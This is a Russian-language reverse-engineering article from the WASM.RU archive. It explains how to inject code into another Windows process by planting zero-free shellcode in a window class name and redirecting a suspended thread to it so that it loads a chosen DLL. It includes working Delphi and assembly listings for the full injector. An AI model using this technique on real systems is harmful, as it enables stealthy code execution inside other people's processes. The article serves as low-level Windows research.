Инжект: лезем через окно — Архив WASM.RU

Все статьи

Инжект: лезем через окно — Архив WASM.RU

В статье для демонстрационных целей используется Паскаль! Женщинам, детям и людям с неустойчивой психикой читать воспрещено!

Одним из самых соблазнительных мест для преступника, пытающегося пробраться в чужую квартиру, безусловно, является окно. Да и вообще, для русских людей характерно приходить к чему-то новому не «через дверь», а «через форточку», ибо так нам завещал сам царь Петр. Вот и мы, подражая великому правителю, попытаемся проникнуть в адресное пространство чужого процесса через… окно. Применение данному методу, в большинстве случаев, наверняка будет не совсем законным, но я не ставлю перед собой цель научить толпы кулхацкеров проникать незамеченными туда, куда их не просят. Я лишь хочу раскрыть технологию, лежащую на поверхности с незапамятных времен, но, почему-то, до сих пор, ни кем не замеченную. Так сказать, хочу подтолкнуть истинных исследователей зарыться еще глубже в недра замечательной операционной системы под названием Windows. Посему, ответственность за применение материала, изложенного в этой статье, я возлагаю на плечи тех, кто будет ее применять…

Если проследить за работой всем известной функции GetWindow(), то можно заметить, что для получения результата она не обращается к ядру, а берет данные прямо из адресного пространства текущего процесса. Это наталкивает на мысль, что каждый GUI-процесс имеет в себе копию таблиц, содержащих информацию об окнах. Действительно, на юзермодные адреса любого процесса, использующего user32.dll, система отображает ядерную область памяти, доступную только для чтения и имеющую атрибут супервизора. В этой области и хранятся все структуры, описывающие окна, классы и т. д. Значит, создав окно, к примеру с надписью «My Cool Window», эта самая строка сразу окажется отображенной в АП всех GUI-процессов. А если вместо строки подставить хитро составленный исполняемый код? Вот вам и инжект. После этого останется лишь найти наш код в чужом процессе и передать ему управление.

Тут, правда, есть несколько нюансов, заслуживающих внимания. Дело в том, что система хранит надписи окон в кодировке Unicode, не зависимо от того, в какой кодировке надпись задавалась изначально. Поэтому после создания окна наш исполняемый код разбавится нулями и превратится в кашу. Короче говоря, для хранения программного кода текст в окне нам не подойдет. А вот класс окна – в самый раз! Он хранится в ANSI-кодировке, и система сохраняет его именно таким, каким мы его зададим, т.е. готовым к исполнению. Второй нюанс это то, что в глазах системы класс окна должен быть оканчивающейся нулевым байтом строкой. Поэтому наш код не должен содержать в себе нулей. Составление такого кода достаточно сложная инженерная задача, сродная подготовке эксплойта, поэтому мы не будем усложнять себе жизнь и напишем лишь маленький переходник, подгружающий заранее подготовленную динамическую библиотеку, которая и будет выполнять всю полезную нагрузку, а в нашем случае просто выдавать сообщение. Итак, начнем…

А начнем мы с того, что попробуем найти указатель на структуру какого-либо окна в своем собственном процессе. Структура эта зовется tagWND и, к сожалению, нигде не документирована. Тут нам стоит отдать должное неизвестным героям, в свое время «позаимствовавшим» исходники Windows 2000 у корпорации Microsoft. Так же не забудем поблагодарить Ильфака Гильфанова за мощнейший дизассемблер и Oleh Yuschuk за лучший отладчик режима пользователя. Собственно говоря, эти вещи, да еще пивная открывалка – все, чем я пользовался во время своих исследований.

Для того чтобы научиться находить этот самый указатель, нам необходимо понять, как его получает сама система. Для этого обратимся к коду уже упомянутой мной выше функции GetWindow(). В Windows XP SP2 она выглядит следующим образом:

mov     edi, edi
push    ebp
mov     ebp, esp
mov     ecx, [ebp+hWnd]
call    @ValidateHwnd@4 ; ValidateHwnd(x)
test    eax, eax
jz      loc_77D3C331
push    [ebp+uCmd]
push    eax
call    __GetWindow@8   ; _GetWindow(x,x)
test    eax, eax
jz      short loc_77D3C331
mov     eax, [eax]
loc_77D3C2BC:
pop     ebp
retn    8

Если пройтись по ней отладчиком, то видно, что hWnd окна, передаваемый в функцию ValidateHwnd() через регистр ecx, чудесным образом превращается в некий указатель, с которым и работает внутренняя _GetWindow(). Как не трудно догадаться, это и есть указатель на структуру окна, он называется pWnd. Чтобы не затягивать повествование и не загромождать статью лишними листингами, сразу перейду непосредственно к алгоритму работы функции ValidateHwnd():

  • Как я уже говорил, область памяти, хранящая оконные структуры, на самом деле расположена в ядре, а на юзермодное пространство лишь спроецирована. Следовательно, все указатели в этих структурах ядерные и нам необходимо найти дельту (разницу) между соответствующими kernel и user адресами. Она лежит в PEB текущего потока по смещению 6E8h – смещение это не изменилось со времен win_2k вплоть до win_vista. Хочу заметить, что в разных процессах значения дельт отличаются.
  • Существует юзермодная структура, называемая SHAREDINFO, в ней хранятся важнейшие указатели, необходимые для работы оконной подсистемы Win32. В том числе и указатель на массив элементов HANDLEENTRY, каждый элемент (структура) которого, кроме первого, неиспользуемого, описывает соответствующий GUI-объект в ядре (Window, Pen, DC и т. д.) и хранит указатель (kernel-адрес) на него. Это как раз то, что нам нужно! Жаль только, что адрес SHAREDINFO разнится от сервиспака к сервиспаку, а гарантированного способа найти его динамически я не нашел. Поэтому остается только хранить все возможные адреса и использовать нужный в зависимости от версии системы:

    		win_2k sp4	-	77E69088h
    		win_xp sp1	-	77D8C080h
    		win_xp sp2	-	77D90080h
    		win_vista no sp	-	GetModuleHandle('user32.dll') + 6A6C0h

    Ниже я приведу описание этих двух ключевых структур:

    		PSHAREDINFO = ^SHAREDINFO;
    		SHAREDINFO = packed record
    		psi: pointer;               //Указатель на структуру SERVERINFO
    		aheList: PHANDLEENTRY_ARRAY;//Указатель на таблицу хэндлов
    		pDispInfo: pointer;         //Указатель на глобальную DISPLAYINFO
    		ulSharedDelta: DWORD;       // <= тоже дельта, но не та, которая нам нужна
    		end;

    		PHANDLEENTRY = ^HANDLEENTRY;
    		  HANDLEENTRY = packed record
    			pHead: pointer;           //Указатель на объект (pWnd в случае окна)
    			pOwner: pointer;          //Указатель на родительский объект (ppi или pti)
    			bType: BYTE;              //Тип хэндла (1 == TYPE_WINDOW)
    			bFlags: BYTE;             //Флаги
    			wUniq: WORD;              //uniqueness count
    			end;
    		PHANDLEENTRY_ARRAY = ^HANDLEENTRY_ARRAY;
    		  HANDLEENTRY_ARRAY = array[0..0] of HANDLEENTRY;
  • После того, как будет получена дельта и указатель на SHAREDINFO (в реале он называется gSharedInfo), нам уже можно будет получить pWnd по hWnd. Для этого необходимо разобраться со структурой хэндла. Она проста до безобразия – в его младшем слове хранится индекс элемента HANDLEENTRY в массиве HANDLEENTRY_ARRAY. Назначение старшего слова не вполне ясно, все что известно – это то, что оно должно совпадать со значением поля wUniq из соответствующего хэндлу элемента HANDLEENTRY.

Итак, мы получаем индекс элемента в таблице, убеждаемся, что это окно, сравнивая поле bType с единицей, далее сравниваем старшее слово хэндла с полем wUniq и, в случае их равенства, от значения поля pHead, которое является kernel-указателем на tagWND, отнимаем найденую ранее дельту, чтобы получить юзермодный указатель. Все, результат готов!

Теперь напишем код нашей собственной функции ValidateHwnd():

const
TYPE_WINDOW = 1; 
HMINDEXBITS = $0000FFFF; 
HMUNIQSHIFT = 16;
HMUNIQBITS  = $FFFF0000;

function IndexFromHandle(hWnd: DWORD): integer;
begin
result := hWnd and HMINDEXBITS;
end;

function UniqFromHandle(hWnd: DWORD): WORD;
begin
result := (hWnd shr HMUNIQSHIFT) and HMUNIQBITS;
end;

function ValidateHwnd(hWnd: DWORD): pointer;
var
  phe: PHANDLEENTRY;
  dwDelta: DWORD;
begin
result := nil;
asm
  mov   eax, fs:[$18]             //  Эти поля в TEB ни где не описаны,
  lea   eax, [eax + $6CC]         //  но смещения не изменились со
  mov   eax, dword [eax + $1C]    //  времен win_2k вплоть до win_vista
  mov   dwDelta, eax
end;
phe := @gSharedInfo.aheList[IndexFromHandle(hWnd)];
if phe.bType = TYPE_WINDOW then
  if phe.wUniq = UniqFromHandle(hWnd) then
    result := pointer(DWORD(phe.pHead) - dwDelta);
end;

Научившись добывать указатель на tagWND, стоило бы разобраться с самой структурой, но мы этого делать не будем, т.к. она достаточно громоздка и абсолютное большинство ее полей нас вообще не интересует. Нужно знать лишь то, что по смещению 10h от ее начала лежит указатель на саму себя в ядре – поле tagWND.head.pSelf (мы ведь помним, что ValidateHwnd() возвращает user-адрес?), а по смещению 64h находится kernel-указатель на структуру класса, к которому принадлежит окно (tagWND.pcls) – tagCLS. Чтобы получить user-указатель на tagCLS, нужно воспользоваться следующей формулой, которая универсальна для всех подобных структур, лежащих в ядре и имеющих ссылку на себя:

field_useraddr := struct.field_kerneladdr – struct.pSelf + struct

Здесь struct – это user-адрес имеющейся структуры, struct.pSelf – kernel-указатель на себя, а struct.field_kerneladdr – kernel-адрес, который нужно преобразовать. Получив интересующий нас user-адрес pCls, необходимо выудить из структуры класса указатель на ANSI-строку с его именем. Он лежит по смещению 54h от начала и называется lpszClientAnsiMenuName. Естественно, адрес, содержащийся в нем – ядерный. Итак, вооружившись всеми этими, сумбурно изложенными мной данными, напишем функцию, возвращающую указатель на имя класса по pWnd:

function GetPClassName(pWnd: pointer): pointer; stdcall;
asm
  pushad
  mov   eax, pWnd
  mov   edx, dword [eax + $10] // tagWND.head.pSelf (kernel addr)
  mov   ecx, dword [eax + $64] // tagWND.pcls (kernel addr)
  sub   ecx, edx
  add   ecx, eax               // tagWND.pcls (user addr)
  mov   esi, dword [ecx + $54] // tagWND.pcls.lpszClientAnsiMenuName (kernel addr)
  sub   esi, edx
  add   esi, eax               // tagWND.pcls.lpszClientAnsiMenuName (user addr)
  mov   result, esi
  popad
end;
Вот, треть дела уже сделана! Теперь хорошо бы разобраться с тем, как искать нужные нам адреса в чужом процессе. Тут на самом деле нет ни чего сложного и отличного от уже изложенного материала, разве что объемы кода возрастут из-за необходимости чтения «чужой» памяти. Посему, не имея ни малейшего желания лишний раз загромождать статью, я опишу только ключевые моменты. В крайнем случае, читатель всегда может обратиться к приложенным к статье исходникам – не зря же я их писал…
  • Адрес TEB чужого потока можно узнать с помощью экспорта ntdll.dll – функции ZwQueryInformationThread, вызвав ее с классом информации ThreadBasicInformation. Указанный буфер, в случае успеха, заполнится структурой типа THREAD_BASIC_INFORMATION, которая имеет в себе элемент TebBaseAddress – как раз то, что нам нужно. Впрочем, замечательный труд Гарри Нэббета о Native API расскажет обо всем этом намного лучше меня.
  • В Windows Vista системные библиотеки в различных процессах могут грузиться по разным адресам, поэтому чтобы найти gSharedInfo нам, сначала, необходимо получить адрес, по которому загружена user32.dll, а потом прибавить к найденному значению 6A6C0h. Это число валидно лишь для Vista SP0, для последующих сервиспаков оно, скорее всего, будет другим.

Разобравшись с поиском указателей, пора приступать к подготовке шеллкода. Для начала определимся с тем, каким образом ему будет передаваться управление. Я не стал сильно мудрствовать и решил использовать избитый всеми SetThreadContext(). Это документированный и достаточно надежный способ, хотя и палится он всеми, кому не лень, собственно как и все остальные паблик-методы. Наш код, не содержащий нулей, после того, как закончит свои дела, должен будет вернуть управление потоку-жертве в то место, где выполнение последнего было нами прервано, естественно сохранив значения всех регистров. Учитывая все вышесказанное и имея ввиду то, что мы условились внедрять лишь маленький переходник, подгружающий заранее подготовленную DLL, становится возможным сделать примерный набросок нашего шеллкода:

pushad
mov	eax, <addr_of_str_with_dll_path>
push	eax
mov	eax, <addr_of_loadlibrary>
call	eax
popad
push	eax
mov	eax, <ret_addr>
xchg	[esp], eax
ret

И тут мы упираемся в подводный камень – каждое значение, заносимое нами в регистр eax командой mov, может и, скорее всего, будет содержать в себе нули. Здесь стоит откупорить еще бутылочку пивасика и включить воображение: нам необходимо написать генератор кода, использующий универсальный способ замены команды mov, да еще и такой, чтобы налету отсечь все нули из числа. Немного пораскинув мозгами, в голову приходит неплохой вариант. Надо заметить, что изначально мне в голову пришел совсем не тот вариант, который стоило бы публиковать, но мой друг Хакер вовремя наставил на путь истинный, за что ему «респект и уважуха». Нам нужно найти маску, при xor’е с которой исходное число давало бы DWORD, не содержащий нулей. Такая маска находится по элементарному алгоритму: к исходному числу («N») прибавляем 01010101h, получая «X», проверяем каждый байт результата – если он равен нулю или FFh, то прибавляем к нему 2. Далее высчитываем «Y» - Y = X xor N. Все. Допустим, нам нужно поместить в eax число 0098BCC8h. Вот так может выглядеть код, решающий эту проблему:

mov	eax, 0199BDC9h // X
xor	eax, 01010101h // Y
				// в eax получится 0098BCC8h
А теперь напишем функцию, генерирующую такой код динамически:

function GenCodeToPutDWORD(dwDWORD: DWORD; pCode: pointer): pointer; stdcall;
asm
  mov   edx, dwDWORD
  lea   eax, [edx + $01010101]
  mov   ecx, 4
@@1:
  cmp   al, $FF
  je    @@2
  test  al, al
  jne   @@3
@@2:
  add   al, 2
@@3:
  ror   eax, 8
  loop  @@1
  xor   edx, eax
  mov   ecx, pCode
  mov   byte[ecx], $B8
  mov   byte[ecx + 5], $35
  mov   [ecx + 1], eax
  mov   [ecx + 6], edx
  add   ecx, 10
  mov   result, ecx
end;

Ну, вот мы и во всеоружии! Теперь приступим непосредственно к тому, ради чего все это затеяли – к внедрению кода. Порядок действий будет такой: первым делом создадим окно, класс которого будет являться полным путем к подгружаемой динамической библиотеке. Тут есть маленькое «но» - для задания пути в кодировке UNICODE класс окна не подойдет, но как нельзя лучше сгодится надпись на нем. В структуре tagWND указатель на надпись лежит по смещению 88h. Дальше найдем адрес функции LoadLibraryA() в чужом процессе (в win_vista он может отличаться от адреса в нашем АП). Сгенерируем первую часть шеллкода по приведенному выше шаблону, внеся в него предварительно найденный указатель на путь к внедряемой DLL. Следующим шагом будет приостановка целевого потока и получение его контекста. Генерируем вторую часть кода, которая возвратит управление по только что полученному eip и создаем окно с классом, содержащим в себе шеллкод. Ищем указатель на класс этого окна и устанавливаем новое значение eip для потока. И все! Вот какой код получился у меня (да не ужаснутся хакеры старой школы от использования Delphi с VCL – для простоты и наглядности такой подход в самый раз):

procedure TfrmMain.cmdClick(Sender: TObject);
var
  wc: WNDCLASSEX;
  hWnd, hWndLibPath, ThreadID, hThread: DWORD;
  Context: _CONTEXT;
  CodeArr: array[0..255] of byte;
  pClass, pCode: pointer;
begin
ZeroMemory(@CodeArr, 256);
if txtTID.Text <> '' then
  begin
  ThreadID := StrToInt(txtTID.Text);
  ZeroMemory(@wc, SizeOf(WNDCLASSEX));
  wc.cbSize := SizeOf(WNDCLASSEX);
  wc.lpszClassName := PChar(txtLibPath.Text);
  wc.lpfnWndProc := @EmptyWndProc;
  RegisterClassEx(wc);
  hWndLibPath := CreateWindowEx(0, PChar(txtLibPath.Text), nil, WS_OVERLAPPEDWINDOW,
                 integer(CW_USEDEFAULT), integer(CW_USEDEFAULT),
                 integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 0, 0,
                 GetModuleHandle(nil), nil);
  pClass := GetPClassNameEx(ValidateHwndEx(hWndLibPath, ThreadID), ThreadID);

  pCode := @CodeArr;
  BYTE(pCode^) := $60;   // pushad
  Inc(DWORD(pCode));
  pCode := GenCodeToPutDWORD(DWORD(pClass), pCode);
  BYTE(pCode^) := $50;   // push  eax
  Inc(DWORD(pCode));
  pCode := GenCodeToPutDWORD(DWORD(GetProcAddressEx('kernel32.dll', 'LoadLibraryA', ProcessIdFromThreadId(ThreadID))), pCode);
  WORD(pCode^) := $D0FF; // call  eax
  Inc(DWORD(pCode), 2);
  BYTE(pCode^) := $61;   // popad
  Inc(DWORD(pCode));
  BYTE(pCode^) := $50;   // push  eax
  Inc(DWORD(pCode));

  hThread := OpenThread(THREAD_GET_CONTEXT or THREAD_SET_CONTEXT, false, ThreadID);
  if hThread <> 0 then
    begin
    SuspendThread(hThread);
    Context.ContextFlags := CONTEXT_FULL;
    GetThreadContext(hThread, Context);

    pCode := GenCodeToPutDWORD(Context.Eip, pCode);
    BYTE(pCode^) := $87;   // |
    Inc(DWORD(pCode));     // |
    WORD(pCode^) := $2404; // | xchg	eax, [esp]
    Inc(DWORD(pCode), 2);  // |
    BYTE(pCode^) := $C3;   // ret

    ZeroMemory(@wc, SizeOf(WNDCLASSEX));
    wc.cbSize := SizeOf(WNDCLASSEX);
    wc.lpszClassName := @CodeArr[0];
    wc.lpfnWndProc := @EmptyWndProc;
    RegisterClassEx(wc);
    hWnd := CreateWindowEx(0, @CodeArr, nil, WS_OVERLAPPEDWINDOW,
                 integer(CW_USEDEFAULT), integer(CW_USEDEFAULT),
                 integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 0, 0,
                 GetModuleHandle(nil), nil); 
    ZeroMemory(@wc, SizeOf(WNDCLASSEX));
                 
    Context.Eip := DWORD(GetPClassNameEx(ValidateHwndEx(hWnd, ThreadID), ThreadID));
    SetThreadContext(hThread, Context);
    ResumeThread(hThread);
    CloseHandle(hThread);
    Sleep(1000);
    PostMessage(hWnd, WM_CLOSE, 0, 0);
    end;
  PostMessage(hWndLibPath, WM_CLOSE, 0, 0);
  end;
end;

В листинге я не стал приводить содержимое таких функций, как GetProcAddressEx(), ProcessIdFromThreadId() и т.д. – их назначение понятно из названия, а код тривиален. Любителей копипаста отправляю к исходникам, приложенным к статье.

Ну вот, пожалуй, и все, что я хотел поведать. Надеюсь, информация, изложенная мной в данной статье, хоть как-то окажется полезной конечному читателю…

Файлы к статье.

2002-2013 (c) wasm.ru